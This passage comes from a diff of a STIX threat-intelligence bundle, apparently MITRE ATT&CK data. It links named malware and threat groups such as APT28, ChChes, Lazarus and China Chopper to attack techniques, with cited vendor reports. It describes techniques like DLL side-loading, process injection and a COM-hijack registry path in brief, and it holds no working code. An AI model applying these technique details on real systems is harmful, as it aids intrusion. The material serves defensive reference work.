(AV) 6.0 for Windows Workstations or McAfee's Outlook Scan About Box to load malicious DLL files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5c34be50-c7be-40c2-80bb-f3bc7db5cdd7", + "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.", + "source_name": "Dell Sakula", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "description": "[APT28](https://attack.mitre.org/groups/G0007) used a publicly available tool to gather and compress multiple documents on the DCCC and DNC networks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--715d1910-181b-47a8-9b3c-86cba51b8ba4", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.018Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "description": "[ChChes](https://attack.mitre.org/software/S0144) samples were digitally signed with a certificate originally used by Hacking Team that was later leaked and subsequently revoked.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--fe0c8388-46fb-4064-9837-56a23339ffaa", + "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.", + "source_name": "Palo Alto menuPass Feb 2017", + "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/" + }, + { + "description": "Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved March 1, 2017.", + "source_name": "JPCERT ChChes Feb 2017", + "url": "http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html" + }, + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--e46836e5-8ffe-45e5-9398-bb9fbb3a4aeb", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.643Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "US-CERT Volgmer Nov 2017", + "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "[Briba](https://attack.mitre.org/software/S0204) uses rundll32 within [Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1060) entries to execute malicious DLLs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--138da0bb-befa-45cd-9ca4-c74b86ac61ff", + "source_ref": "malware--79499993-a8d6-45eb-b343-bf58dea5bdde", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ladley, F. (2012, May 15). Backdoor.Briba. Retrieved February 21, 2018.", + "source_name": "Symantec Briba May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-2843-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[Chaos](https://attack.mitre.org/software/S0220) provides a reverse shell connection on 8338/TCP, encrypted via AES.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--25d4fa6d-4f88-4604-8b9f-cce6f3b5ae4d", + "source_ref": "malware--5bcd5511-6756-4824-a692-e8bb109364af", + "modified": "2019-05-10T18:57:53.143Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. Retrieved March 5, 2018.", + "source_name": "Chaos Stolen Backdoor", + "url": "http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[yty](https://attack.mitre.org/software/S0248) gathers information on victim\u2019s drives and has a plugin for document listing.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--0efc2bef-9227-4af2-b73b-bfa61a3073aa", + "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "modified": "2019-04-25T00:09:23.167Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used WMI for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--23d208f5-cadc-4f80-94c4-5644eaa8b7c7", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.288Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used CVE-2014-6324 to escalate privileges.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0942dc11-0fcd-480a-ae4d-d571ba96331b", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.073Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) compresses collected files with both the GZipStream class and a simple character replacement scheme before sending them to its C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b05da4f4-a47f-42d9-8464-58c6960a767a", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "modified": "2019-04-24T23:40:23.395Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "source_name": "Unit 42 OopsIE! Feb 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Arp](https://attack.mitre.org/software/S0099) can be used to display ARP configuration information on the host.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d4fd461f-fc58-4060-aed4-cebe64f249b9", + "source_ref": "tool--30489451-5886-4c46-90c9-0dff9adc5252", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Misdat](https://attack.mitre.org/software/S0083) is capable of running commands to obtain a list of files and directories, as well as enumerating logical drives.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1a4c94a1-6362-42b3-b1d9-41ae3fbf5ea5", + "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) injects itself into the secure shell (SSH) process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--7fd4fe68-0f2a-485c-9b10-6847428ef5da", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Perigaud, F. (2015, December 15). Newcomers in the Derusbi family. Retrieved December 20, 2017.", + "source_name": "Airbus Derusbi 2015", + "url": "http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used JavaScript to create a shortcut file in the Startup folder that points to its main backdoor.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--728dce0a-125c-4d66-8622-36d4d909352b", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.301Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + }, + { + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21", + "description": "[Duqu](https://attack.mitre.org/software/S0038) is capable of loading executable code via process hollowing.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f64acb43-91b8-431a-ad0a-ad22afe5851a", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "modified": "2019-04-24T23:18:53.184Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "Malware used by [Putter Panda](https://attack.mitre.org/groups/G0024) attempts to terminate processes corresponding to two components of Sophos Anti-Virus (SAVAdminService.exe and SavService.exe).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.059Z", + "id": "relationship--94211067-148f-4196-a216-c1bb1e5cfc70", + "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45", + "modified": "2019-03-25T16:53:38.785Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) developed a file stealer to search C:\\ and collect files with certain extensions. [Patchwork](https://attack.mitre.org/groups/G0040) also executed a script to enumerate all drives, store them as a list, and upload generated files to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b0a0e3c7-e1b2-4b84-8e37-8989147785d0", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:05.821Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.050Z", + "id": "relationship--0585e082-8f8e-4162-b4a8-3c1cef02f7e3", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.433Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Brave Prince](https://attack.mitre.org/software/S0252) gathers network configuration information as well as the ARP cache.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--bfa47cf5-93e4-451e-a2eb-dadca6ae6bb0", + "source_ref": "malware--28b97733-ef07-4414-aaa5-df50b2d30cc5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[China Chopper](https://attack.mitre.org/software/S0020)'s server component can download remote files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--30da0c3d-8767-4828-b50d-181d9a89b9a8", + "source_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", + "modified": "2019-04-24T16:39:53.963Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + }, + { + "source_name": "Lee 2013", + "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html" + }, + { + "source_name": "NCSC Joint Report Public Tools", + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) is capable of performing remote file transmission.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--731710ae-a6b9-47b7-b8b2-8526ce60be2f", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "modified": "2019-05-14T17:10:21.903Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Crowdstrike DNC June 2016", + "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", + "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can load a DLL using Rundll32.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--107267dc-0620-42b3-8287-f49ce2ea4f8f", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "modified": "2019-06-28T20:48:52.551Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--fb5e24e6-58f1-4ef0-9094-147319487f15", + "source_ref": "course-of-action--5391ece4-8866-415d-9b5e-8dc5944f612a", + "modified": "2019-07-25T11:45:45.767Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) injects itself into explorer.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--535e3fbe-e6d9-4608-9689-f8f1f8c1ddc9", + "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "source_name": "Symantec Dragonfly", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[ChChes](https://attack.mitre.org/software/S0144) communicates to its C2 server over HTTP and embeds data within the Cookie HTTP header.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--03c9b56e-f006-43b2-ac98-bcbe0c05e979", + "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.", + "source_name": "Palo Alto menuPass Feb 2017", + "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/" + }, + { + "description": "Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved March 1, 2017.", + "source_name": "JPCERT ChChes Feb 2017", + "url": "http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69", + "description": "[ComRAT](https://attack.mitre.org/software/S0126) samples have been seen which hijack COM objects for persistence by replacing the path to shell32.dll in registry location HKCU\\Software\\Classes\\CLSID\\{42aedc87-2188-41fd-b9a3-0c966feabec1}\\InprocServer32.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--64309b21-2dc2-4369-9c70-66f47f5c4b56", + "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Rascagneres, P. (2015, May). Tools used by the Uroburos actors. Retrieved August 18, 2016.", + "source_name": "NorthSec 2015 GData Uroburos Tools", + "url": "https://www.nsec.io/wp-content/uploads/2015/05/uroburos-actors-tools-1.1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can download files and additional malware components.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--5d914544-0a93-43ba-b890-1f4a4fa818e8", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", + "source_name": "Symantec Trojan.Hydraq Jan 2010", + "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident" + }, + { + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "source_name": "Symantec Hydraq Jan 2010", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used net user /domain to identify account information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--fa155ccc-b9db-48f6-bb1a-a367596668ad", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.266Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware samples use a common function to identify target files by their extension. [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families can also enumerate files and directories, including a Destover-like variant that lists files and gathers information for all drives.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.066Z", + "id": "relationship--bd745d11-93d8-45db-8a68-08a52383375a", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:44.942Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "source_name": "McAfee GhostSecret", + "url": 